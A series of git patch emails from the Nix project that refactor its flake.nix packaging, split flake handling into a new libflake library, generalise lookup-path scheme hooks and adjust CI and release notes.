Wed, 26 Jun 2024 10:41:56 +0200 Subject: [PATCH 0905/1251] flake.nix: Move dependencies scope to packaging/dependencies.nix --- flake.nix | 52 ++-------------------------------- packaging/dependencies.nix | 58 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 49 deletions(-) create mode 100644 packaging/dependencies.nix diff --git a/flake.nix b/flake.nix index 510df73f1..8b4deb78a 100644 --- a/flake.nix +++ b/flake.nix @@ -129,49 +129,6 @@ { nixStable = prev.nix; - default-busybox-sandbox-shell = final.busybox.override { - useMusl = true; - enableStatic = true; - enableMinimal = true; - extraConfig = '' - CONFIG_FEATURE_FANCY_ECHO y - CONFIG_FEATURE_SH_MATH y - CONFIG_FEATURE_SH_MATH_64 y - - CONFIG_ASH y - CONFIG_ASH_OPTIMIZE_FOR_SIZE y - - CONFIG_ASH_ALIAS y - CONFIG_ASH_BASH_COMPAT y - CONFIG_ASH_CMDCMD y - CONFIG_ASH_ECHO y - CONFIG_ASH_GETOPTS y - CONFIG_ASH_INTERNAL_GLOB y - CONFIG_ASH_JOB_CONTROL y - CONFIG_ASH_PRINTF y - CONFIG_ASH_TEST y - ''; - }; - - libgit2_nix = final.libgit2.overrideAttrs (attrs: { - src = libgit2; - version = libgit2.lastModifiedDate; - cmakeFlags = attrs.cmakeFlags or [] - ++ [ "-DUSE_SSH=exec" ]; - }); - - boehmgc_nix = final.boehmgc.override { - enableLargeConfig = true; - }; - - libseccomp_nix = final.libseccomp.overrideAttrs (_: rec { - version = "2.5.5"; - src = final.fetchurl { - url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; - hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; - }; - }); - # A new scope, so that we can use `callPackage` to inject our own interdependencies # without "polluting" the top level "`pkgs`" attrset. # This also has the benefit of providing us with a distinct set of packages @@ -180,12 +137,9 @@ # The dependencies are in their own scope, so that they don't have to be # in Nixpkgs top level `pkgs` or `nixComponents`. - nixDependencies = lib.makeScope final.newScope (scope: { - inherit stdenv versionSuffix; - libseccomp = final.libseccomp_nix; - boehmgc = final.boehmgc_nix; - libgit2 = final.libgit2_nix; - busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; + nixDependencies = lib.makeScope final.newScope (import ./packaging/dependencies.nix { + inherit inputs stdenv versionSuffix; + pkgs = final; }); nix = final.nixComponents.nix; diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix new file mode 100644 index 000000000..88273df22 --- /dev/null +++ b/packaging/dependencies.nix @@ -0,0 +1,58 @@ +# These overrides are applied to the dependencies of the Nix components. + +{ + # Flake inputs; used for sources + inputs, + + # The raw Nixpkgs, not affected by this scope + pkgs, + + stdenv, + versionSuffix, +}: +scope: { + inherit stdenv versionSuffix; + + libseccomp = pkgs.libseccomp.overrideAttrs (_: rec { + version = "2.5.5"; + src = pkgs.fetchurl { + url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; + hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U="; + }; + }); + + boehmgc = pkgs.boehmgc.override { + enableLargeConfig = true; + }; + + libgit2 = pkgs.libgit2.overrideAttrs (attrs: { + src = inputs.libgit2; + version = inputs.libgit2.lastModifiedDate; + cmakeFlags = attrs.cmakeFlags or [] + ++ [ "-DUSE_SSH=exec" ]; + }); + + busybox-sandbox-shell = pkgs.busybox-sandbox-shell or (pkgs.busybox.override { + useMusl = true; + enableStatic = true; + enableMinimal = true; + extraConfig = '' + CONFIG_FEATURE_FANCY_ECHO y + CONFIG_FEATURE_SH_MATH y + CONFIG_FEATURE_SH_MATH_64 y + + CONFIG_ASH y + CONFIG_ASH_OPTIMIZE_FOR_SIZE y + + CONFIG_ASH_ALIAS y + CONFIG_ASH_BASH_COMPAT y + CONFIG_ASH_CMDCMD y + CONFIG_ASH_ECHO y + CONFIG_ASH_GETOPTS y + CONFIG_ASH_INTERNAL_GLOB y + CONFIG_ASH_JOB_CONTROL y + CONFIG_ASH_PRINTF y + CONFIG_ASH_TEST y + ''; + }); +} From 985c211061be71317eb2a9fc7a4d35278f5d8e41 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 10:47:13 +0200 Subject: [PATCH 0906/1251] flake.nix: Move {in,ex}ternal-api-docs into nixComponents scope --- flake.nix | 22 ++++------------------ packaging/components.nix | 5 +++++ packaging/hydra.nix | 4 ++-- 3 files changed, 11 insertions(+), 20 deletions(-) diff --git a/flake.nix b/flake.nix index 8b4deb78a..582a946c4 100644 --- a/flake.nix +++ b/flake.nix @@ -144,20 +144,6 @@ nix = final.nixComponents.nix; - nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { - inherit - stdenv - versionSuffix - ; - }; - - nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix { - inherit - stdenv - versionSuffix - ; - }; - nix_noTests = final.nix.override { doCheck = false; doInstallCheck = false; @@ -239,8 +225,8 @@ inherit (nixpkgsFor.${system}.native) changelog-d; default = self.packages.${system}.nix; - nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs; - nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs; + nix-internal-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-internal-api-docs; + nix-external-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-external-api-docs; } # We need to flatten recursive attribute sets of derivations to pass `flake check`. // flatMapAttrs @@ -337,8 +323,8 @@ ++ pkgs.nixComponents.nix-store.nativeBuildInputs ++ pkgs.nixComponents.nix-fetchers.nativeBuildInputs ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs - ++ pkgs.nix-internal-api-docs.nativeBuildInputs - ++ pkgs.nix-external-api-docs.nativeBuildInputs + ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs + ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs ++ [ modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" diff --git a/packaging/components.nix b/packaging/components.nix index f96ac6b51..b5e47969e 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -20,4 +20,9 @@ in nix-fetchers = callPackage ../src/libfetchers/package.nix { }; nix-perl-bindings = callPackage ../src/perl/package.nix { }; + + nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; + + nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; + } diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 98d8b3961..5715abd8e 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -122,10 +122,10 @@ in }; # API docs for Nix's unstable internal C++ interfaces. - internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs; + internal-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-internal-api-docs; # API docs for Nix's C bindings. - external-api-docs = nixpkgsFor.x86_64-linux.native.nix-external-api-docs; + external-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-external-api-docs; # System tests. tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // { From e6442891611b2f2ceee7ab1c573eec918a5fe5d7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 10:54:17 +0200 Subject: [PATCH 0907/1251] Remove unused boehmgc patch --- dep-patches/boehmgc-traceable_allocator-public.diff | 12 ------------ 1 file changed, 12 deletions(-) delete mode 100644 dep-patches/boehmgc-traceable_allocator-public.diff diff --git a/dep-patches/boehmgc-traceable_allocator-public.diff b/dep-patches/boehmgc-traceable_allocator-public.diff deleted file mode 100644 index 903c707a6..000000000 --- a/dep-patches/boehmgc-traceable_allocator-public.diff +++ /dev/null @@ -1,12 +0,0 @@ -diff --git a/include/gc_allocator.h b/include/gc_allocator.h -index 597c7f13..587286be 100644 ---- a/include/gc_allocator.h -+++ b/include/gc_allocator.h -@@ -312,6 +312,7 @@ public: - - template<> - class traceable_allocator { -+public: - typedef size_t size_type; - typedef ptrdiff_t difference_type; - typedef void* pointer; From 9f8e387c3fd78e46c5656a503eafea4757ae2616 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 11:02:45 +0200 Subject: [PATCH 0908/1251] ci.yml: Build meson on darwin We're building a bit of Darwin meson indirectly through `checks`, but it'd be annoying to encounter broken un-`check`-ed stuff during the porting process, so let's just do the right thing now. --- .github/workflows/ci.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c9e4c25ea..103ce4ff4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -195,7 +195,11 @@ jobs: - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user meson_build: - runs-on: ubuntu-22.04 + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + runs-on: ${{ matrix.os }} steps: - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main From 32e67eba8ba297045627cd0259c75a2668eda8df Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 19:34:57 -0400 Subject: [PATCH 0909/1251] Remove invalid release notes YAML field There is no PR for this, since it was an embargoed fix before disclosure. --- doc/manual/rl-next/harden-user-sandboxing.md | 1 - 1 file changed, 1 deletion(-) diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md index fa3c49fc0..a647acf25 100644 --- a/doc/manual/rl-next/harden-user-sandboxing.md +++ b/doc/manual/rl-next/harden-user-sandboxing.md @@ -2,7 +2,6 @@ synopsis: Harden the user sandboxing significance: significant issues: -prs: --- The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. From 88f9d8ccb1d8091c8a35d5916d8490d609f6ce48 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jun 2024 19:53:36 -0400 Subject: [PATCH 0910/1251] Don't format the just-added test .c file On one hand, new things should be formatted. On the other, we just bacported this file to many prior branches, and if we need to make changes to it and backport them also, formatting the file on master but not the release branches would cause issues. --- maintainers/flake-module.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 5e4291fcb..5febb1011 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -429,6 +429,7 @@ ''^tests/functional/test-libstoreconsumer/main\.cc'' ''^tests/nixos/ca-fd-leak/sender\.c'' ''^tests/nixos/ca-fd-leak/smuggler\.c'' + ''^tests/nixos/user-sandboxing/attacker\.c'' ''^tests/unit/libexpr-support/tests/libexpr\.hh'' ''^tests/unit/libexpr-support/tests/value/context\.cc'' ''^tests/unit/libexpr-support/tests/value/context\.hh'' From 52730d38e25d23d44d5ef48836d062a978ecdd72 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 24 Jun 2024 17:33:15 -0400 Subject: [PATCH 0911/1251] Factor out `flake:...` lookup path from evaluator Co-authored-by: Robert Hensing --- src/libcmd/common-eval-args.cc | 15 ++++++++++++++- src/libexpr/eval-settings.cc | 3 ++- src/libexpr/eval-settings.hh | 35 +++++++++++++++++++++++++++++++++- src/libexpr/eval.cc | 35 +++++++++++++++++----------------- 4 files changed, 68 insertions(+), 20 deletions(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 77dba546d..393fed532 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -15,7 +15,20 @@ namespace nix { EvalSettings evalSettings { - settings.readOnlyMode + settings.readOnlyMode, + { + { + "flake", + [](ref store, std::string_view rest) { + experimentalFeatureSettings.require(Xp::Flakes); + // FIXME `parseFlakeRef` should take a `std::string_view`. + auto flakeRef = parseFlakeRef(std::string { rest }, {}, true, false); + debug("fetching flake search path element '%s''", rest); + auto storePath = flakeRef.resolve(store).fetchTree(store).first; + return store->toRealPath(storePath); + }, + }, + }, }; static GlobalConfig::Register rEvalSettings(&evalSettings); diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index 11a62b0fd..6b7b52cef 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -45,8 +45,9 @@ static Strings parseNixPath(const std::string & s) return res; } -EvalSettings::EvalSettings(bool & readOnlyMode) +EvalSettings::EvalSettings(bool & readOnlyMode, EvalSettings::LookupPathHooks lookupPathHooks) : readOnlyMode{readOnlyMode} + , lookupPathHooks{lookupPathHooks} { auto var = getEnv("NIX_PATH"); if (var) nixPath = parseNixPath(*var); diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 2689a8465..5eae708a2 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -5,9 +5,40 @@ namespace nix { +class Store; + struct EvalSettings : Config { - EvalSettings(bool & readOnlyMode); + /** + * Function used to interpet look path entries of a given scheme. + * + * The argument is the non-scheme part of the lookup path entry (see + * `LookupPathHooks` below). + * + * The return value is (a) whether the entry was valid, and, if so, + * what does it map to. + * + * @todo Return (`std::optional` of) `SourceAccssor` or something + * more structured instead of mere `std::string`? + */ + using LookupPathHook = std::optional(ref store, std::string_view); + + /** + * Map from "scheme" to a `LookupPathHook`. + * + * Given a lookup path value (i.e. either the whole thing, or after + * the `=`) in the form of: + * + * ``` + * : + * ``` + * + * if `` is a key in this map, then `` is + * passed to the hook that is the value in this map. + */ + using LookupPathHooks = std::map>; + + EvalSettings(bool & readOnlyMode, LookupPathHooks lookupPathHooks = {}); bool & readOnlyMode; @@ -17,6 +48,8 @@ struct EvalSettings : Config static std::string resolvePseudoUrl(std::string_view url); + LookupPathHooks lookupPathHooks; + Setting enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", R"( Enable built-in functions that allow executing native code. diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 717ccc803..dd389ccea 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2760,14 +2760,18 @@ std::optional EvalState::resolveLookupPathPath(const LookupPath::Pa auto i = lookupPathResolved.find(value); if (i != lookupPathResolved.end()) return i->second; - std::optional res; + auto finish = [&](std::string res) { + debug("resolved search path element '%s' to '%s'", value, res); + lookupPathResolved.emplace(value, res); + return res; + }; if (EvalSettings::isPseudoUrl(value)) { try { auto accessor = fetchers::downloadTarball( EvalSettings::resolvePseudoUrl(value)).accessor; auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy); - res = { store->toRealPath(storePath) }; + return finish(store->toRealPath(storePath)); } catch (Error & e) { logWarning({ .msg = HintFmt("Nix search path entry '%1%' cannot be downloaded, ignoring", value) @@ -2775,15 +2779,17 @@ std::optional EvalState::resolveLookupPathPath(const LookupPath::Pa } } - else if (hasPrefix(value, "flake:")) { - experimentalFeatureSettings.require(Xp::Flakes); - auto flakeRef = parseFlakeRef(value.substr(6), {}, true, false); - debug("fetching flake search path element '%s''", value); - auto storePath = flakeRef.resolve(store).fetchTree(store).first; - res = { store->toRealPath(storePath) }; + if (auto colPos = value.find(':'); colPos != value.npos) { + auto scheme = value.substr(0, colPos); + auto rest = value.substr(colPos + 1); + if (auto * hook = get(settings.lookupPathHooks, scheme)) { + auto res = (*hook)(store, rest); + if (res) + return finish(std::move(*res)); + } } - else { + { auto path = absPath(value); /* Allow access to paths in the search path. */ @@ -2800,22 +2806,17 @@ std::optional EvalState::resolveLookupPathPath(const LookupPath::Pa } if (pathExists(path)) - res = { path }; + return finish(std::move(path)); else { logWarning({ .msg = HintFmt("Nix search path entry '%1%' does not exist, ignoring", value) }); - res = std::nullopt; } } - if (res) - debug("resolved search path element '%s' to '%s'", value, *res); - else - debug("failed to resolve search path element '%s'", value); + debug("failed to resolve search path element '%s'", value); + return std::nullopt; - lookupPathResolved.emplace(value, res); - return res; } From 0084a486ccf7bfd12dab6b9a34b0f947c3d979a0 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 28 Sep 2023 21:51:28 -0400 Subject: [PATCH 0912/1251] Split out a new `libnixflake` Co-authored-by: Robert Hensing --- Makefile | 4 +- maintainers/flake-module.nix | 20 ++++----- src/libcmd/local.mk | 4 +- src/libexpr/eval.cc | 1 - src/libexpr/local.mk | 3 -- src/libfetchers/fetch-settings.hh | 25 ----------- src/libfetchers/registry.cc | 20 +++++++-- src/libflake/flake-settings.cc | 14 ++++++ src/libflake/flake-settings.hh | 39 +++++++++++++++++ src/{libexpr => libflake}/flake/config.cc | 4 +- src/{libexpr => libflake}/flake/flake.cc | 7 +-- src/{libexpr => libflake}/flake/flake.hh | 0 src/{libexpr => libflake}/flake/flakeref.cc | 0 src/{libexpr => libflake}/flake/flakeref.hh | 0 src/{libexpr => libflake}/flake/lockfile.cc | 0 src/{libexpr => libflake}/flake/lockfile.hh | 0 src/{libexpr => libflake}/flake/url-name.cc | 0 src/{libexpr => libflake}/flake/url-name.hh | 0 src/libflake/local.mk | 17 ++++++++ src/nix/local.mk | 4 +- .../{libexpr/flake => libflake}/flakeref.cc | 0 tests/unit/libflake/local.mk | 43 +++++++++++++++++++ .../{libexpr/flake => libflake}/url-name.cc | 0 23 files changed, 153 insertions(+), 52 deletions(-) create mode 100644 src/libflake/flake-settings.cc create mode 100644 src/libflake/flake-settings.hh rename src/{libexpr => libflake}/flake/config.cc (96%) rename src/{libexpr => libflake}/flake/flake.cc (99%) rename src/{libexpr => libflake}/flake/flake.hh (100%) rename src/{libexpr => libflake}/flake/flakeref.cc (100%) rename src/{libexpr => libflake}/flake/flakeref.hh (100%) rename src/{libexpr => libflake}/flake/lockfile.cc (100%) rename src/{libexpr => libflake}/flake/lockfile.hh (100%) rename src/{libexpr => libflake}/flake/url-name.cc (100%) rename src/{libexpr => libflake}/flake/url-name.hh (100%) create mode 100644 src/libflake/local.mk rename tests/unit/{libexpr/flake => libflake}/flakeref.cc (100%) create mode 100644 tests/unit/libflake/local.mk rename tests/unit/{libexpr/flake => libflake}/url-name.cc (100%) diff --git a/Makefile b/Makefile index 227aaf6d9..132fe29cc 100644 --- a/Makefile +++ b/Makefile @@ -18,6 +18,7 @@ makefiles = \ src/libfetchers/local.mk \ src/libmain/local.mk \ src/libexpr/local.mk \ + src/libflake/local.mk \ src/libcmd/local.mk \ src/nix/local.mk \ src/libutil-c/local.mk \ @@ -45,7 +46,8 @@ makefiles += \ tests/unit/libstore-support/local.mk \ tests/unit/libfetchers/local.mk \ tests/unit/libexpr/local.mk \ - tests/unit/libexpr-support/local.mk + tests/unit/libexpr-support/local.mk \ + tests/unit/libflake/local.mk endif ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 5febb1011..cc7241d21 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -65,14 +65,6 @@ ''^src/libexpr/eval-settings\.hh$'' ''^src/libexpr/eval\.cc$'' ''^src/libexpr/eval\.hh$'' - ''^src/libexpr/flake/config\.cc$'' - ''^src/libexpr/flake/flake\.cc$'' - ''^src/libexpr/flake/flake\.hh$'' - ''^src/libexpr/flake/flakeref\.cc$'' - ''^src/libexpr/flake/flakeref\.hh$'' - ''^src/libexpr/flake/lockfile\.cc$'' - ''^src/libexpr/flake/lockfile\.hh$'' - ''^src/libexpr/flake/url-name\.cc$'' ''^src/libexpr/function-trace\.cc$'' ''^src/libexpr/gc-small-vector\.hh$'' ''^src/libexpr/get-drvs\.cc$'' @@ -127,6 +119,14 @@ ''^src/libfetchers/tarball\.hh$'' ''^src/libfetchers/git\.cc$'' ''^src/libfetchers/mercurial\.cc$'' + ''^src/libflake/flake/config\.cc$'' + ''^src/libflake/flake/flake\.cc$'' + ''^src/libflake/flake/flake\.hh$'' + ''^src/libflake/flake/flakeref\.cc$'' + ''^src/libflake/flake/flakeref\.hh$'' + ''^src/libflake/flake/lockfile\.cc$'' + ''^src/libflake/flake/lockfile\.hh$'' + ''^src/libflake/flake/url-name\.cc$'' ''^src/libmain/common-args\.cc$'' ''^src/libmain/common-args\.hh$'' ''^src/libmain/loggers\.cc$'' @@ -436,8 +436,6 @@ ''^tests/unit/libexpr/derived-path\.cc'' ''^tests/unit/libexpr/error_traces\.cc'' ''^tests/unit/libexpr/eval\.cc'' - ''^tests/unit/libexpr/flake/flakeref\.cc'' - ''^tests/unit/libexpr/flake/url-name\.cc'' ''^tests/unit/libexpr/json\.cc'' ''^tests/unit/libexpr/main\.cc'' ''^tests/unit/libexpr/primops\.cc'' @@ -446,6 +444,8 @@ ''^tests/unit/libexpr/value/context\.cc'' ''^tests/unit/libexpr/value/print\.cc'' ''^tests/unit/libfetchers/public-key\.cc'' + ''^tests/unit/libflake/flakeref\.cc'' + ''^tests/unit/libflake/url-name\.cc'' ''^tests/unit/libstore-support/tests/derived-path\.cc'' ''^tests/unit/libstore-support/tests/derived-path\.hh'' ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' diff --git a/src/libcmd/local.mk b/src/libcmd/local.mk index 9aa33a9d3..a270333f4 100644 --- a/src/libcmd/local.mk +++ b/src/libcmd/local.mk @@ -6,10 +6,10 @@ libcmd_DIR := $(d) libcmd_SOURCES := $(wildcard $(d)/*.cc) -libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain) +libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain) libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) $(THREAD_LDFLAGS) -libcmd_LIBS = libstore libutil libexpr libmain libfetchers +libcmd_LIBS = libutil libstore libfetchers libflake libexpr libmain $(eval $(call install-file-in, $(buildprefix)$(d)/nix-cmd.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index dd389ccea..e2ae493cf 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -21,7 +21,6 @@ #include "url.hh" #include "fetch-to-store.hh" #include "tarball.hh" -#include "flake/flakeref.hh" #include "parser-tab.hh" #include diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index d128064a5..95ce4de63 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -8,7 +8,6 @@ libexpr_SOURCES := \ $(wildcard $(d)/*.cc) \ $(wildcard $(d)/value/*.cc) \ $(wildcard $(d)/primops/*.cc) \ - $(wildcard $(d)/flake/*.cc) \ $(d)/lexer-tab.cc \ $(d)/parser-tab.cc # Not just for this library itself, but also for downstream libraries using this library @@ -45,8 +44,6 @@ $(eval $(call install-file-in, $(buildprefix)$(d)/nix-expr.pc, $(libdir)/pkgconf $(foreach i, $(wildcard src/libexpr/value/*.hh), \ $(eval $(call install-file-in, $(i), $(includedir)/nix/value, 0644))) -$(foreach i, $(wildcard src/libexpr/flake/*.hh), \ - $(eval $(call install-file-in, $(i), $(includedir)/nix/flake, 0644))) $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh index 50cd4d161..629967697 100644 --- a/src/libfetchers/fetch-settings.hh +++ b/src/libfetchers/fetch-settings.hh @@ -70,30 +70,6 @@ struct FetchSettings : public Config Setting warnDirty{this, true, "warn-dirty", "Whether to warn about dirty Git/Mercurial trees."}; - Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", - R"( - Path or URI of the global flake registry. - - When empty, disables the global flake registry. - )", - {}, true, Xp::Flakes}; - - Setting useRegistries{this, true, "use-registries", - "Whether to use flake registries to resolve flake references.", - {}, true, Xp::Flakes}; - - Setting acceptFlakeConfig{this, false, "accept-flake-config", - "Whether to accept nix configuration from a flake without prompting.", - {}, true, Xp::Flakes}; - - Setting commitLockFileSummary{ - this, "", "commit-lock-file-summary", - R"( - The commit summary to use when committing changed flake lock files. If - empty, the summary is generated based on the action performed. - )", - {"commit-lockfile-summary"}, true, Xp::Flakes}; - Setting trustTarballsFromGitForges{ this, true, "trust-tarballs-from-git-forges", R"( @@ -108,7 +84,6 @@ struct FetchSettings : public Config `narHash` attribute is specified, e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`. )"}; - }; // FIXME: don't use a global variable. diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc index e00b9de46..52cbac5e0 100644 --- a/src/libfetchers/registry.cc +++ b/src/libfetchers/registry.cc @@ -1,12 +1,11 @@ #include "registry.hh" #include "tarball.hh" #include "users.hh" +#include "config-global.hh" #include "globals.hh" #include "store-api.hh" #include "local-fs-store.hh" -#include "fetch-settings.hh" - #include namespace nix::fetchers { @@ -149,10 +148,25 @@ void overrideRegistry( flagRegistry->add(from, to, extraAttrs); } +struct RegistrySettings : Config +{ + Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", + R"( + Path or URI of the global flake registry. + + When empty, disables the global flake registry. + )", + {}, true, Xp::Flakes}; +}; + +RegistrySettings registrySettings; + +static GlobalConfig::Register rRegistrySettings(®istrySettings); + static std::shared_ptr getGlobalRegistry(ref store) { static auto reg = [&]() { - auto path = fetchSettings.flakeRegistry.get(); + auto path = registrySettings.flakeRegistry.get(); if (path == "") { return std::make_shared(Registry::Global); // empty registry } diff --git a/src/libflake/flake-settings.cc b/src/libflake/flake-settings.cc new file mode 100644 index 000000000..77e35bc7b --- /dev/null +++ b/src/libflake/flake-settings.cc @@ -0,0 +1,14 @@ +#include "flake-settings.hh" +#include "config-global.hh" + +namespace nix { + +FlakeSettings::FlakeSettings() +{ +} + +FlakeSettings flakeSettings; + +static GlobalConfig::Register rFlakeSettings(&flakeSettings); + +} diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh new file mode 100644 index 000000000..ae88dfd9c --- /dev/null +++ b/src/libflake/flake-settings.hh @@ -0,0 +1,39 @@ +#pragma once +///@file + +#include "types.hh" +#include "config.hh" +#include "util.hh" + +#include +#include + +#include + +namespace nix { + +struct FlakeSettings : public Config +{ + FlakeSettings(); + + Setting useRegistries{this, true, "use-registries", + "Whether to use flake registries to resolve flake references.", + {}, true, Xp::Flakes}; + + Setting acceptFlakeConfig{this, false, "accept-flake-config", + "Whether to accept nix configuration from a flake without prompting.", + {}, true, Xp::Flakes}; + + Setting commitLockFileSummary{ + this, "", "commit-lockfile-summary", + R"( + The commit summary to use when committing changed flake lock files. If + empty, the summary is generated based on the action performed. + )", + {}, true, Xp::Flakes}; +}; + +// TODO: don't use a global variable. +extern FlakeSettings flakeSettings; + +} diff --git a/src/libexpr/flake/config.cc b/src/libflake/flake/config.cc similarity index 96% rename from src/libexpr/flake/config.cc rename to src/libflake/flake/config.cc index b348f6d44..498595359 100644 --- a/src/libexpr/flake/config.cc +++ b/src/libflake/flake/config.cc @@ -1,6 +1,6 @@ #include "users.hh" #include "config-global.hh" -#include "fetch-settings.hh" +#include "flake-settings.hh" #include "flake.hh" #include @@ -51,7 +51,7 @@ void ConfigFile::apply() else assert(false); - if (!whitelist.count(baseName) && !nix::fetchSettings.acceptFlakeConfig) { + if (!whitelist.count(baseName) && !nix::flakeSettings.acceptFlakeConfig) { bool trusted = false; auto trustedList = readTrustedList(); auto tlname = get(trustedList, name); diff --git a/src/libexpr/flake/flake.cc b/src/libflake/flake/flake.cc similarity index 99% rename from src/libexpr/flake/flake.cc rename to src/libflake/flake/flake.cc index 67b19bd57..93d528d61 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libflake/flake/flake.cc @@ -9,6 +9,7 @@ #include "fetchers.hh" #include "finally.hh" #include "fetch-settings.hh" +#include "flake-settings.hh" #include "value-to-json.hh" #include "local-fs-store.hh" @@ -346,7 +347,7 @@ LockedFlake lockFlake( FlakeCache flakeCache; - auto useRegistries = lockFlags.useRegistries.value_or(fetchSettings.useRegistries); + auto useRegistries = lockFlags.useRegistries.value_or(flakeSettings.useRegistries); auto flake = getFlake(state, topRef, useRegistries, flakeCache); @@ -691,7 +692,7 @@ LockedFlake lockFlake( if (lockFlags.commitLockFile) { std::string cm; - cm = fetchSettings.commitLockFileSummary.get(); + cm = flakeSettings.commitLockFileSummary.get(); if (cm == "") { cm = fmt("%s: %s", relPath, lockFileExists ? "Update" : "Add"); @@ -811,7 +812,7 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V LockFlags { .updateLockFile = false, .writeLockFile = false, - .useRegistries = !state.settings.pureEval && fetchSettings.useRegistries, + .useRegistries = !state.settings.pureEval && flakeSettings.useRegistries, .allowUnlocked = !state.settings.pureEval, }), v); diff --git a/src/libexpr/flake/flake.hh b/src/libflake/flake/flake.hh similarity index 100% rename from src/libexpr/flake/flake.hh rename to src/libflake/flake/flake.hh diff --git a/src/libexpr/flake/flakeref.cc b/src/libflake/flake/flakeref.cc similarity index 100% rename from src/libexpr/flake/flakeref.cc rename to src/libflake/flake/flakeref.cc diff --git a/src/libexpr/flake/flakeref.hh b/src/libflake/flake/flakeref.hh similarity index 100% rename from src/libexpr/flake/flakeref.hh rename to src/libflake/flake/flakeref.hh diff --git a/src/libexpr/flake/lockfile.cc b/src/libflake/flake/lockfile.cc similarity index 100% rename from src/libexpr/flake/lockfile.cc rename to src/libflake/flake/lockfile.cc diff --git 